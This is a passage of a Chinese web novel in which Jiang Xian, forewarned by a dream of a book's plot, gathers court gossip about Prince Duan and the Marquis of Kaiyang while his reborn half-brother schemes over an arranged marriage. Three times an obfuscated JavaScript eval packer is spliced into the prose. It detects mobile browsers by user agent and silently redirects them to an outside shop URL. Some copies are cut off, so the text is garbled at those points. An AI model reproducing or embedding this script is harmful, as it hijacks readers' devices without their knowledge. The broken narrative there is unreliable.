看其他人出了门,跪着的小厮立刻开口:“殿下,今日我在城门见到一个特别俊俏的公子,您见了准会喜欢!” 另两人见他抢了先,也顾不上其他,纷纷开口抢话:“是工部姜侍郎的大公子,我们也见到了,人是长得真美!殿下,我们想个法子把人给您弄来?” 三人七嘴八舌地描述起见到的人是如何出众,直到端王回身看来,才在那两道冰冷的目光中渐渐住嘴。 武敏吉:“滚。” 三人连忙磕个头,手脚发软地连滚带爬离开。 刚到门口,又听见背后声音问:“你们说的是——工部侍郎的儿子?” 三人都没敢抬头,颤抖着回身点头。 武敏吉挥手:“你们少罚一月俸,滚吧。” 三人赶紧谢过就滚。 武敏吉低头沉吟:“工部侍郎的儿子……不就是荣少锦在议亲那个?” 随即,先前在长公主府的不顺,和被兴乐帝责备的憋屈,都一下涌上心头。 武敏吉狞笑一下:“我倒要看看,能有多美!” ○● 姜闲饱饱睡过一觉,起身都快到中午。只是,这一觉虽然睡得长,却好像没有做梦。 若是按照先前的想法,姜闲是准备休息上几天,等颠簸一路的身体恢复过来再出门。 可惜计划赶不上变化。 吃过午饭,姜闲便叫刘山套车,带着云雁出门。 先寻了几家药铺,姜闲挑过品相,在每一家都分别买了好几包药材。 接着去了好友陈甫家中。 陈甫和姜闲是曾在同一家书院念书的同窗,他母亲有病根,需要长年吃药,家里颇为拮据。书院山长怜惜他的才华,召他进书院一边工作一边念书,还不收他束脩。 他比姜闲年长六七岁,做事仔细认真,念书还刻苦,姜闲欣赏他,也帮过他不少。两人相交多年,陈甫今年上京赶考,才离开家乡,但也一直和姜闲有着书信往来。 陈甫厚积薄发,在京中一举考中二甲第三,如今在翰林院中学习,等待一年期满的考核。翰林院清闲,只要没被其他部门要走帮忙,每日都挺早就能回家。 姜闲这次上京前,先发来一封信,约定进京后过来拜访。今天寻到陈甫家里的时候,陈甫已经坐在前院树下纳凉。 见到姜闲,陈甫非常高兴:“我收到信就算着日子,你是差不多该到了。” 姜闲:“昨日刚到,今日便来拜会兄长。” 陈甫把人往屋里让:“你先坐,我出去找人到食肆买几个菜。” 姜闲叫住他:“让我的小厮和车夫去就好,我们说说话。” 陈甫刚才顾着高兴,到此时才听出姜闲话音里似乎有点不对,仔细看看姜闲神色,应道:“好,那我们先聊聊。” 两人进屋坐好,陈甫给姜闲倒上水:“怎么,是家里有什么事?” 姜闲略略点头:“抱歉,还不方便和你说。” 陈甫忙说:“没什么没什么。不过,若是哪里我能帮上忙,一定和我说,我会尽力。” 姜闲莞尔:“现下便有点事想问你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430724|141397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈甫:“随便问,知无不言。” 姜闲便开门见山:“兄长如今也算是入朝了,可知道开阳侯和端王这两人。” 陈甫一愣,随即目光不自觉地打量了下姜闲,面上露出些许纠结之色。 姜闲就主动把不好提的话说了:“我娘找人打听到的消息,说那两人是好男风的纨绔,又很得圣上宠爱。我想多了解一点他们的情况,也方面平日里避开。” 陈甫这才神色一松:“你都知道了啊。我只是听到一些传闻,知道得并不多,概括起来就是你刚才说的那两句。人也只是远远见过两三次,感觉挺符合传闻,再多的就不清楚了。” 姜闲按着自己的节奏问:“他们纨绔到什么程度,都做过什么?” 陈甫仔细想了想:“就是……反正没什么正事,每天就是到各处去玩吧,端王最喜欢打猎,开阳侯最喜欢打马球。据说圣上也派过差事给他们,不过次数很少。” 姜闲有点诧异:“没什么欺男霸女之类的恶事?” 陈甫冥思苦想:“好像……没怎么听说他们被御史参过……而且两人都很得圣宠,吃喝玩乐那些鸡毛蒜皮的小事,估计参了圣上也不会管。” 姜闲沉吟片刻,换个方向问:“他们叫什么,家世具体怎么样?我只知道开阳侯是静宁长公主之子,端王是圣上侄子。” 这次陈甫答得很流畅,毕竟了解大官员和权贵都是他们这些官场新人的必做功课。 “开阳侯叫荣少锦,是静宁长公主和襄侯的独子。静宁长公主是先帝唯一嫡女,圣上的母亲过世得早,是先皇后将圣上抱到膝下抚养。静宁长公主从小照顾圣上到大,因此圣上很念她的好。 “三十年前,先帝看上武状元荣长生,玉成他与静宁长公主的好事。后来荣将军驻守西防,屡立战功,一路被封到襄侯,长公主一直不离不弃地跟随在他身边。现在襄侯任西军大都督,很少回京。” 姜闲更诧异了:“西军大都督……有统兵权?” 陈甫点头。 姜闲若有所思:“你刚才说,长公主一直跟随襄侯身旁,那为何开阳侯会在京中。” 陈甫:“据说是圣上和长公主分离太久,日益想念,好几次想把襄侯调回京,这样就能姐弟团聚。后来在五年前,长公主让独子回京来住,替他们夫妇在御前听用。 “圣上当即封荣少锦为开阳侯,这些年爱逾亲子。开阳侯就一直独自住在京中长公主府里,襄侯和长公主也会每年尽量抽时间回来团聚一次。” 姜闲这次直接愣住——这不管怎么听,都像是开阳侯进京当人质。 陈甫继续说:“开阳侯虽说一直自称是断袖,但据我所知,后院一直没有人。朝中都说,他们荣家的家风是不纳小,日后开阳侯就算真找男子过,大概也就是那一个。不像端王,后院都不知有多少人。” 姜闲跟着把注意力转到端王身上:“知道端王名讳吗?静宁长公主和圣上有那般渊缘,端王能和开阳侯一样得宠,是不是父母也和圣上关系不一般。” 陈甫:“端王名讳上敏下吉。他父亲是前贤王,先帝最器重的儿子,当时满朝上下都默认太子必是贤王,只等他王妃生下孩子。但在一次行猎中,贤王为救今上受了重伤,最后没能救回来。 “端王是贤王的遗腹子,今上对贤王有愧,很照顾他们孤儿寡母。继位之后,更是将端王带到宫中居住教养。直到现在,端王在宫里的寝殿还留着,时常进宫小住几天。” 姜闲:“这么说,感觉天子对端王应该比对开阳侯更亲一些?毕竟是从小养大的。” 陈甫:“大概吧。主要我只是一个不能上朝的小官,没亲眼见过,也无从判断。” 姜闲再沉吟片刻,想起先前梦里姜贵提过一句“如果端王压对宝,就有从龙之功”,便问:“你知道端王和开阳侯和哪位皇子走得近吗?” 陈甫:“没听说开阳侯和谁特别亲近,他刚回京那时也在宫里住过一年,可能和谁都差不多。不过景王和他有点特别的联系,景王的母亲崔贵妃是先皇后的侄女,也就是静宁长公主的表姊妹。” 说到这里,他压低了声音:“端王就明显和宣王亲近。宣王的母亲赵德妃有四个孩子,而且孩子间都相差五六岁,可见一直圣眷不衰。” 姜闲跟着压低声音:“那天子在众皇子间有没有偏向?” 陈甫这回直接将声音变成气声:“这个完全不能猜。” 姜闲看看他严肃的表情,点头表示明白。 就在这时,云雁和刘山将晚饭买了回来,两人自然中止谈话。之后用餐之时,话题就转向别处。 与好友叙过旧,想了解的事也问到了,饭后姜闲辞别陈甫,上车返回姜家。 马车走到姜家,前方恰好也有一辆马车进大门。 姜闲耳力好,听到门房叫的是“二公子”。 他不由得掀开窗帘看向前方—— 话本中的主角,登场了。 6.确认 姜闲挑开窗帘,探头看向前方,只是前方马车进了门没有停。 两辆车一前一后同走过一小段路,前车靠边停下。刘山只得也停下,姜闲便看见前方车里下来一个年轻男子,估摸身高比自己要矮上一头,相貌和昨晚见过的贾金燕有八分相似,一眼就能认出必是姜贵。 姜贵却完全没有回家的喜悦之情,全身布满凝重气息,眼中甚至带着些许戾色,疾步往前走,旁边的小厮都得小跑才跟得上他。 姜闲顺着他前方望去,是主院。 待前方车辆继续走,刘山才能再次催马前进,一路回到姜闲住的小院。这个小院要边角上,挨着府内的行车道,从这个角度说倒是方便,出门可以马车直接通行,不用在府内绕着圈子走路。 姜闲进屋歇了一会儿,有个小丫头过来,低眉顺眼地站在门边,说夫人问大公子吃过饭没有。云雁接到姜闲示意,回了句“在外面吃过”,小丫头就直接走了。 云雁忍不住抱怨:“二公子回家,就不说过来叫他拜见兄长了,夫人甚至不请郎君过去,让他问候一下郎君。” 刘山听了不由得笑着摇头:“云雁啊,你还是想得简单。” 云雁一愣,不解地问:“什么意思?” 刘山指点:“二公子这个时候到,应该是一直赶路回来,没有用过饭,这时候正要吃饭吧。你以为刚才那个小丫头是来干什么的,府里那位夫人哪是在意郎君有没有吃过饭。 “她叫人来问,若是郎君过去了,那正好兄弟两个见一面认个脸。饭桌上,当着父母的面,不多正式,二公子就算对郎君不那么有礼也无妨。若是郎君不去,更好,日后说起来有郎君先拒绝这个由头。” 云雁听得眉头都渐渐皱在一起:“这么弯弯绕绕……” 又转向姜闲:“郎君,你不想见二公子?” 姜闲笑笑:“他们一家三口团聚,我何必去碍眼。总会有打交道的时候,不着急。” 两辆马车前后脚回府,贾金燕必然知情。她没有明着叫姜闲过去,意思也是不想主动见。而以姜闲这个“被留在家乡十五年”之人的视角来看,不愿意去见被宠爱着长大的弟弟,更是人之常情。 现下一动不如一静。如果姜贵没有复生,那姜闲的确是不用着急。如果姜贵是复生的,那最着急的该是姜贵,姜闲等着看他反应就好。 姜闲气定神闲吩咐云雁:“我要看书,多点两支烛,不用省,反正很快就会有一大笔聘礼进账。” 云雁拿出蜡烛,却是一边点一边叹气:“都说一入府门深似海,等郎君成了婚,也不知道会如何。” 姜闲:“你年纪轻轻,别操那么多心。等成了婚,说不定情况能比在这里还好些。” 云雁满脸诧异:“啊?” 倒是在一旁收拾药材的刘山接话:“郎君可是听陈公子提到那条流言。” 姜闲点下头。 云雁连忙转头问:“什么流言,我怎么什么都没听说。” 刘山:“你不是陪着郎君就是在忙事情,我是在马车上等着时听到的。说是开阳侯前几个月回乡给荣家太夫人贺寿,然后在回京的路上见到一位公子,便情根深种难以自拔,马上书信给长公主和驸马过来操办婚事。” 云雁惊得张大嘴:“他见过郎君?!什么时候?在哪里?” 刘山:“我也奇怪,就找人旁敲侧击地打听了下。但流言有好几个不同的版本,我想来想去,也没觉得哪个能对得上。能确定的只有,这些流言在京里已经传了好些日子,长公主和驸马一回京,大家都等着办婚事,想看看究竟能迷倒开阳侯的公子长什么样。” 云雁听得迷糊:“那……到底是见过,还是没见过?” 刘山:“谁知道呢。” 姜闲翻过一页书,淡淡道:“他见没见过我不重要,重要的是,现在满京城都知道他对我‘用情至深’。” 云雁渐渐转过了弯:“所以,等郎君过去了,他至少得做个表面样子?” 不过刚说完,他又换了个操心方向:“可是,内宅手段那么多……” 刘山打断他:“你能想到,郎君还能想不到吗。你就别操那么多心,听郎君吩咐就好。现在先过来帮帮我,这三样我有点分不清。” 云雁只得压下担心,过去帮忙收拾药材。 姜闲轻笑着摇摇头。云雁说的危险当然有,但那条流言还透露出一点——他和开阳侯有合作的可能。至于能不能达成合作,现在操心也没有用,只能到时见机行事。 这时,刘山又小声问:“郎君,那我还要现在就找房子吗?” 按他们原定的计划,是想寻一处不起眼的屋,作为最后的退路。哪怕京城房价高买不起,也得租一间。若是碰到实在避不过的危险,能够有个地方藏身。 不过现在情况变得有点复杂。长公主那边肯定盯着姜家,往下端王那边不知会不会按着剧情走,也有盯上姜家的可能。那刘山的举动就会显得突兀,完全违背他们悄悄找地方的初衷。 姜闲思索片刻,才说:“不要明着找,你先把京中逛熟悉,留意着就好。切不可急躁,免得引起旁人怀疑。” 刘山神色变得郑重:“郎君放心,我必会小心谨慎。” 姜闲想了想,又叮嘱一句:“主院和姜贵的院子,你们也想办法留意一下动静。不用省着钱,该花就花。” 云雁和刘山对视一眼,都认真点点头。 ○● 姜闲打听到大致情况,心里有了些底。 加上姜贵回来,他不想让姜贵感觉有异,第二日就好好在屋里休息,只等着两个心腹随从探听消息。 云雁和刘山一个聪明伶俐一个老成持重,中午果然打听回不少事。不过,姜闲细细捋过,只有两条线索算是有价值。 一是昨晚姜德见过姜贵之后,转去了一个妾室那里,而姜贵则在主院和贾金燕谈了许久。 二是姜贵今日一早就出了门,还连最信重的小厮都没带。 下午时分,突然有个仆人过来传姜德的话,有贵上门,让姜闲到前面见客。 姜闲让云雁伺候着净面洗手,理理头发,跟着仆人往前方厅堂走去。 云雁机灵,拉着那仆人的手,将扣在手中的几枚铜板塞过去,笑问:“叔可知道,前面来的是哪位贵客?” 那仆人躬躬身,露出个笑容:“是礼部的高员外郎。大公子不用慌,就是见个面而已,没什么紧要事。” 姜闲颔首,仔细想了想,记得这位高员外郎是谁。 昨天他和陈甫聊天时,特意打听过静宁长公主和荣驸马的亲友圈子,高员外郎就在其中。他的母亲和先皇后是亲姐妹,他就是静宁的表弟,两家人算得上是关系亲密。 因此很明显,高员外郎今天会来拜访,就是静宁长公主的意思。婚事需要媒人,两家不好直接商量,高员外郎便是充当这个角色。现在姜德把姜闲叫出去,也是让那边特意相看一下姜闲的意思。 姜闲心中已然明白缘由,却是装傻问道:“父亲是只叫了我吗,有没有叫上二公子?” 仆人一愣,不过很快回道:“这个我就不知道了,管家只让我来叫大公子。” 姜闲看他嘴严不说,没强求,继续往前走。 不过,倒是说人人到。 在快到厅堂的时候,姜贵突然匆匆赶过来,拦在三人面前。 他冲领路的仆人摆摆手:“没你事了,走吧。” 仆人虽然有些纠结,但也不敢怎么样,躬身应声是,转身离开。 姜贵对着姜闲微微拱下手:“兄长,多年不见了。” 姜闲点个头,还不动声色地仔细嗅嗅——姜贵身上带着一股很淡的药味。 姜贵:“我听父亲说,兄长现在身体不太好?” 这个家的情况怎么样,大家都清楚,又没外人,姜闲都嫌装兄友弟恭累得慌。 姜闲:“有话直说。” 姜贵:“外面那位贵客我知道一些,是个很能说的人,兴致上来了就时常一聊一个时辰。兄长身体不好,若是后面支撑不住,让贵客见笑就不好了。” 姜闲:“所以呢?” 姜贵:“所以,我陪父亲招待客人就好,兄长就回去好好休息吧。这一路过来坐那么多天马车,肯定不是那么容易就能恢复过来的。” 姜闲盯着眼前那双藏着暗光的眼睛,心中已经明白——这个姜贵,是复生而来的那个。 姜贵见姜闲没接话,心中着急,干脆挑明了说:“婚事的事,爹应该跟你说了。前面那客人就是来给你做媒,你要去见了人家,人家看着满意,你可就跑不掉了。你不会真想嫁人做男妻吧。” 这话实在说得不客气,云雁都忍不住皱起眉头。 姜闲还是一派从容,不过他懒得这里和姜贵吵,也就顺着他的话说:“行,那你去应付,我回去休息了。” 说完,带着云雁转身。 刚走没两步,姜闲就听见身后姜贵急促的脚步声。他回身一看,果然见姜贵匆忙地走向厅堂。 姜闲站在原地等过片刻,直到姜贵绕过墙看不见身影,才跟着也向厅堂走。 云雁诧异地问:“郎君还要过去?” 姜闲:“见机行事。” 主仆两人一路走到厅堂后,以姜闲的耳力,已经能听到里面的交谈声。 两人寻了个隐蔽此的地方站住,姜闲对云雁使个眼色,云雁会意,退开一些向四周张望,帮着看有没有人过来。 姜闲凝神细听。 可能解释自己不便出去的原因先前已经说过,现在听上去都是没什么意义的客套话。 姜闲听了一会儿,正犹豫着要不要回去,突然听见有仆人进客厅禀报:“郎主,端王来访。” 听得出来,姜德和那位高员外郎都很吃惊。但端王都来了,他们只能起身出去迎,在场的姜贵自然也是一同。 姜闲露出个微妙的神色——按着那个梦里的书中内容,现在还没到端王见到自己的时候。难道是因为他昨日出了门,就那么巧给端王看见了? 另外,姜贵这一世就想避开端王。可他刚才主动去见静宁长公主的媒人,却撞到端王来府,还避不开。也不知道他现在有没有后悔刚才的举动。 前方吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高员外郎明显并不怵端王,只不卑不亢地回:“有本事的大夫事多,自然不是随叫随到。华大夫那边还有病人,我与他约了明日,他忙完也就过来了。” 一声“华大夫”出口,连端王都没立刻接话,可见这位大夫在京里应该名声很大。 姜闲一边仔细听着,一边有点诧异——感觉静宁长公主那边和端王之间关系不怎么样。不过,静宁的表弟敢于硬顶一个王,也能看得出来,长公主一方并不比端王弱势。 有了高员外郎的插手,最终姜德还是顶住了端王的压力。 端王后面的声音虽然有些不悦,但也没有到气愤的程度。大概也是看透了姜德,知道只要避开长公主的人,还是可以拿捏住他。 于是端王没有过多纠缠,起身离开。 他走之后,高员外郎也告辞离去。 姜闲趁着前方送客,带着云雁悄无声息地回小院。 * 高员外郎离开姜家后没有回家,而是径自去了长公主府。 他刚被领进花厅,荣家三人也进到厅中。 双方熟悉,静宁连招呼都省去了,直接问:“如何,见到姜闲了吗?” 事实上,在她的预想中,这其实就是招呼语——她完全没想过会见不到人。 但高员外郎摇了摇头:“说是一路车马疲劳,累得还起不来床。” 荣家三人都吃了一惊。 荣少锦回想一下前几日见到的姜闲,心中更是奇怪——虽然看着是有些体弱,但也不至于到累得起不来床的地步吧。 但,还有更让他们吃惊的。 高员外郎紧接着说:“也幸好是人没出来。刚才端王也去了姜家,直接说要见姜大公子。” 接着就把武敏吉去姜家的事仔细说了一遍,听得荣家三人纷纷皱起眉。 静宁冷哼一声:“陛下真是把武敏吉那小子宠得无法无天了!那日我请陛下赐婚,可是在他面前说的,他明明知道,还要横插一杠子!” 高员外郎轻叹口气:“表姊,你们还是赶紧下定,免得夜长梦多。端王那个脾气,经常行事不管不顾的。” 静宁却犹豫地看向荣少锦:“没见着人,我总担心泽华县那边的消息不准确……请了圣旨可就改不了人了,要是找来个不顺眼或者不省心的,大小也是个麻烦……” 荣长生提议:“刚才不是说介绍华大夫去诊病,不如这就让少锦走一趟,劳烦他老人家今晚去一回姜家。诊病总能见得到人。” 静宁:“这倒是个法子,他老人家看人也准……” 荣少锦却笑道:“不用麻烦华老,娘明日就去请旨吧。人我见过。” 荣长生和静宁又是一惊:“你见过?” 这事不方便当着高员外郎的面说,荣少锦只含糊道:“嗯,他进城的时候我碰巧见过,顺眼,瞧着脾气还挺好。” 静宁和荣长生对视一眼,见儿子都不反对,便点头:“行,明日我就进宫请旨。” 7.加速 姜家父子刚送完客,姜贵就迫不及待地拉住姜德,小声问:“爹,开阳侯那边什么下定?” 姜德还在想着刚才的不速之客端王,此时后怕得脸都在发白,反射回抓着小儿子:“长公主说要请赐婚圣旨,让我安心等着。可现在端王……” 姜贵听得心一跳,声音都不由得提高点:“赐婚?!” 不过姜德心乱着,没听出小儿子话音不对,只自顾自叹气:“唉,但愿高员外郎转告给她,她能尽快。赐婚固然好,但赶紧定下来最重要,可别节外生枝。” 姜贵的一句“就把姜闲送给端王好了,我去跟开阳侯成婚”差点冲口而出,最后险险按捺住,将他爹送回主院,才一边回自己院子一边细想。 前不久,他复生回来,原本想着这一世就念书科举,安安稳稳过日子。可老话常说,由俭入奢易,由奢入俭难。 姜贵习惯了锦衣玉食,连书院的伙食都难以忍受,凭姜德给的钱又没法顿顿享受大酒楼。更别说他这么多年没有做学问写文章,想再捡回来,拿起书却是脑袋空空。 便是这时,他在书院里听到那则开阳侯要成婚的流言,才猛然想起上一世姜闲跟了开阳侯。尽管后来他偶然得知,“开阳侯对人一见钟情”纯粹是谎言,但直到他死前,姜闲得到独宠还是京中共识。 姜贵立刻起了心思——既然这样,不如自己截下这婚事!开阳侯是静宁长公主和襄侯的独子,哪怕地位比不上端王,家中财富也足够自己挥霍一世。以后他上报端王篡位,还能报仇血恨。 于是他立刻赶回家,路上还拼命回忆上一世隔得久远的记忆,总算琢磨出一个好法子。 可现在出现了变数。 姜贵记得上一世没有赐婚,真要赐了婚,端王也不会再来要姜闲。而且,上一世端王只是派门客过来,并没有亲自上门。怎么他才回到家,就出现这么多变数?难道是因为他复生引起的? 要放弃吗? 姜贵感觉心底的怒火在控制不住地往上蹿——他不甘心!凭什么,上一世是姜闲得着好,这一世还是姜闲! 现在还有希望,得赶紧行事! 姜贵心中几个念头闪过,猛一咬牙,加快脚步回到自己院子,叫出心腹小厮,细细吩附一番。 小厮听完,惊讶又不解地看着他。 姜贵沉着脸催促:“快去办!办得好我重重有赏,但要是出了差子,你就别想在这府里待着了!” 小厮吓得心一颤,连忙一迭声答应着,转身跑走。 * 姜闲先前没有机会偷看到端王,心里有点可惜。 从梦里获知的信息中,他可以有两个合作方向——开阳侯和端王,两边各有利弊。 开阳侯这边,面对的形势相对简单,主要就是开阳侯一个人。但这也意味着,如果合作不顺利,作为一个明显人物,自己不好脱身。 端王这边后院人多,他更方便藏身其中,不容易引人注目。而且在姜贵的上一世,端王是最后的胜利者,与他合作虽风险高,但获益的可能性更大。 姜闲对梦里信息记得清楚,原是想寻机先见过开阳侯和端王,再做决定。反正他只要赶在姜贵对开阳侯下手之前就好,照梦里书中写的时间,完全足够。 但下午端王登门,碰到来相看人的高员外郎,这桩事书中没写。有姜贵这个主角在场,事情又涉及双方,这样的剧情不应该漏写。那么,很可能是出现了变数。 就像姜闲做了那个梦,更是个大变数。 开阳侯和长公主那边既然知道端王的意图,想必会加快行动,姜贵也很可能加快行动。如此一来,留给姜闲考虑选择的时间一下就变少许多。 姜闲正思考着,在如今这个形势下该怎么走下步,就听见云雁在院里唤了自己一声。 片刻,云雁领进一个小厮,自称是姜贵的书童。 小厮毕恭毕敬地道:“大公子,二公子今晚想请您到朱家楼看那儿的新戏。” 接着又略说了说那出新戏讲什么的,听着故事还挺吸引人。 姜闲:“姜贵怎么会突然想到请我看戏。” 小厮老实回话:“是二公子已经订了包间,那个不能退,又另有友人邀他赴宴。二公子就想着,银钱都花,不如就请大公子去看看。” 姜闲轻点下头:“他倒是有心。行,那我就不客气了。” 小厮连忙报上朱家楼地址和开戏时间,这才离开。 云雁送人出去,再和刘山一同回来,奇怪地问:“这无事献殷勤,必然有问题。郎君你怎么还答应了,真去吗?” 姜闲:“去,我自有我的打算。” 朱家楼,就是书中所写,姜贵的上一世中,端王见到姜闲的地方。那日姜闲出门,在外听到不少人在谈论朱家楼新戏,一时兴起去看。 姜贵大概是由此认为姜闲爱看戏,特意做这种安排。今晚,端王必然也会被姜贵设法请过去。姜闲正想先见见人,姜贵就把机会送上来,他当然不会拒绝。 云雁见此,也就不再多言,转身去厨房做饭。 刘山则提醒道:“晚上看戏,有可能赶不及在宵禁前回来。” 姜闲再点头:“我知道,银子多带一些,赶不回来就住在外头。” 说完,又指着桌上一碟米糕:“给姜贵送谢礼去。要亲自送到他前,代我道一声谢。” 刘山看不透自家公子的用意,可也拿着米糕出去。没多久回来,告知姜闲姜贵已经出门赴宴,不在府中,姜闲便让他先去套车。 姜闲垂着眼,轻转着手中茶杯——姜贵走得这么快,看来是想在今晚同时对开阳侯下手。 虽说姜闲总感觉,下一次药就能逼迫开阳侯改换成亲婚选这种事,怎么想都感觉没有道理。但姜贵毕竟是书中主角,说不定再没道理的事都能成。毕竟在姜闲看来,男子嫁人这种事就已经挺荒谬。 如果他选择开阳侯合作,还是尽量阻止姜贵比较好。可惜姜贵动作太快,到时若是有需要,只能照着书中所写的姜贵计划去碰碰运气。他都能做那样一个梦,也说不定运气会在他这一边。 姜闲向来不是个纠结的人,理清了思路,就淡定行事。 * 简单吃过饭,夜幕也开始降临,主仆三人坐着马车出门。 刘山将马车赶到朱家楼前,拿起踏凳摆到车门下。 姜闲带着云雁下了车,对刘山低声吩咐:“你打听一下来财馆在哪里,是一家大赌坊,先去要两个房间,再回来这里等我。” 刘山惊讶地看着自家公子——这话的意思,怎么像是今晚要住在赌坊里? 姜闲没解释,只道:“快去。顺便留意一下姜贵,他可能会去那里。” 刘山一听,连忙低声应是。 姜闲四下看看,没有直接进朱家楼大门,而是在附近逛了逛,才从侧门进去。 朱家楼作为京城最有名的戏馆,建得非常宽敞。一楼有大大的戏台,二楼三楼环戏台而建,戏台前方是雅间,两侧走廊上是用竹帘相隔的雅座。现在离开戏还有点时间,散座里却已经坐了不少人等待。 姜闲刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再一想到,如果两人合作,以端王的性情,必然无法避免某些接触。他虽然不抵触不在意,可面对一张自己受不了的脸,此时都忍不住泛上恶心感。 几乎是立刻,姜闲就做出放弃的决定。 合作时间会很长,既然不是非端王不可,那合作对象至少得顺眼。 姜闲移开目光,喝下半杯茶压压恶心感,用眼角余光确认端王上楼,才把视线重新落回下方。 戏按时开唱。姜闲没有多留,听过一段戏就装作有事,起身带着云雁从侧门离开,寻到自家马车坐上去。 刘山照着吩咐,将马车赶到来财馆赌坊。 姜闲让刘山继续在赌坊里留意姜贵,自己带着云雁先去定好的房间。 小二领着主仆两人往房间去,却在门外被一个客人拦下。那客人显然已经喝醉,拉着小二不让走,非要他带自己去找某个人。 云雁见状,上前说:“你把钥匙给我好了,赶紧带他走。” 小二陪着不是,把钥匙塞给云雁,立刻就被拉走。 云雁一边开锁,一边忍不住抱怨:“这赌坊这么乱,郎君怎么要住这里,万一有坏人怎么办。” 话音落下的同时,门被推开。 两人一进门就察觉到不对,哪怕屋中昏暗,也一同看向床边盆架。 那里有团高高的黑影。 是个男人。 他弯身撑着架子,脸上、鬓边挂满水珠。 而且,气息声粗重到姜闲在门口都听得一清二楚。 8.中招 长公主府中,送走客人,静宁和荣长生连忙向荣少锦问起怎么会见到姜闲。荣少锦便将前几日在京城外遇到马车陷坑的姜闲,一同小道观里避雨借宿,到后来借姜闲的俺护入京,整个经过细说一遍。 静宁听完,有些埋怨地看儿子一眼:“这事你先前怎么没说。要早说了,我早把圣旨拿到,今天都已经下好聘了。” 荣少锦:“我觉得这没什么紧要的,就没问题。再说,他人进了京,你们找表舅先去相看,这样也比直接下聘更自然。我就是没想到武敏吉能那么无耻,他那哪是找姜家要人,他就是想打我们的脸。” 静宁沉吟片刻,拉着荣长生起身:“不行,我们还是现在就进宫,时间应该够,别等明天了。” 荣长生自然是依着她,一家人一边让仆人去牵马,一边往大门走。 荣少锦将父母送出门,转身回自己的院子。 走到院门,突又停下,目光往相临的下一个院移去。 荣少锦住的院子,与静宁和荣长生住的主院相临,当然是除主院外最好的院落。再过去那一个要小一点,可总体也不差,现在已经收拾好当新房,往后就是给姜闲的住处。 心腹小厮花清见荣少锦停着不动步,只定定看着前方,小由得问:“郎君,可要过去看看,有没有哪里准备得不满意的,还能改改。” 荣少锦顺口回道:“又不是我住,我有什么不满意。” 不过,还是迈步向那边走去。 院中各种已经挂上红绸和红笼,就差贴上喜字。 家令做事细心,荣少锦一路看着都没见什么纰漏。倒是踏进新房,发现空着好大一块地。 荣少锦奇怪地问身边花清:“怎么没床?” 花清:“说是照娶嫁习俗,通常新房的家具都是由新娘……呃,总之就是那边的嫁妆。哪怕不是全套,床总是陪嫁一张。所以就先空着,等姜家的嫁妆送过来。” 一边说,他一边打开柜子给荣少锦看:“喜被喜枕已经准备好了。姜家没女儿,这些东西估计一时半会找不来,殿下就让把当年她与附马成婚的那套拿了出来。” 荣少锦看看那些二十多年还没褪色,依旧红得鲜亮的床品,脑海中突然浮现出姜闲那张令人见之惊艳的脸,心情一时间有些说不上来的微妙。 他很快将那点微妙压下,出门离开。 花清跟在后头,没忍住,小声问:“郎君,您娶个男人,那位……” 边说边伸手指指上方,续道:“就真能放心咱家了?您要真想留后,娶男人也拦不住啊。再说,现在娶了,以后不还可以休。” 荣少锦笑笑:“肯定不会完全放心,但疑心能减不少。谁不知道我们荣家总出情种,声誉这东西就是会潜移默化地影响内心印象。反正走一步看一步,先稳住眼前这几年再说。以后……谁说得准呢。” 主仆两人一边说着话,一边走进院中。 这边虽和荣少锦住的院子只有一墙之隔,但那面墙上没有门,要回去只能从院门绕行。 花清瞟到那面墙,随口问:“郎君,要不要在这面墙上开扇门,两边来回方便。” 荣少锦跟着瞟去一眼,莫名其妙地回:“开门干什么,我又不需要来这边。” 花清看看他脸色,憨憨地笑了下:“这不是……刚才听您说,那位姜公子长得好,脾气也好。人都娶进门了,说不定处的日子久一点,您就会想时常过来了?” 荣少锦抬手,轻轻在他头上拍一巴掌。 两人回到荣少锦的院子,没过多久,有个仆人回来报静宁和荣长生被留在宫里用晚饭。 紧跟着,泽恩侯府小公子的亲信小厮来给荣少锦递帖子。 泽恩侯是兴乐帝生母的娘家,府中幺子田钦和荣少锦年纪相仿,同样是个出名的纨绔子弟,也是荣少锦结交的狐朋狗党之一。 来的这个小厮荣少锦认得,田钦喜欢他机灵,出门时常爱带在身边。 小厮点头哈腰地对荣少锦谄笑:“我家公子听闻来财赌馆出了新玩法,昨日去玩了一回,甚是有趣。今晚想邀开阳侯一同去耍耍,保管有意思。” 荣少锦跷着腿,坐没坐相地斜靠在椅里,懒懒地问:“什么新玩法?” 小厮连忙细细说了。 荣少锦犹豫片刻,点头道:“好吧,那就去耍耍。” 小厮又说:“我家公子已命小人过去订好房间,想先和您喝几杯。小人这就回去复命,您若是先到,直接报我家公子的名就成。” 荣少锦挥挥手:“知道知道,你回吧。” 仆人将小厮领出动,荣少锦也站起身,让花清往自己身上挂些招摇点的东西。 他先前悄悄离京办事,对外的伪装借口是在祠堂里祭祀先祖,祈祷同意成婚。这借口没有大张旗鼓地往外说,但期间上门找的人自然知道,田钦就是其中之一。 现在荣少锦出来了,情理上说,憋了几天正该是好好放纵玩耍的时候,朋友来约要是还不应邀,难免和他“纨绔子弟”的名头不相符。现在没什么事,他的确该去露露脸。 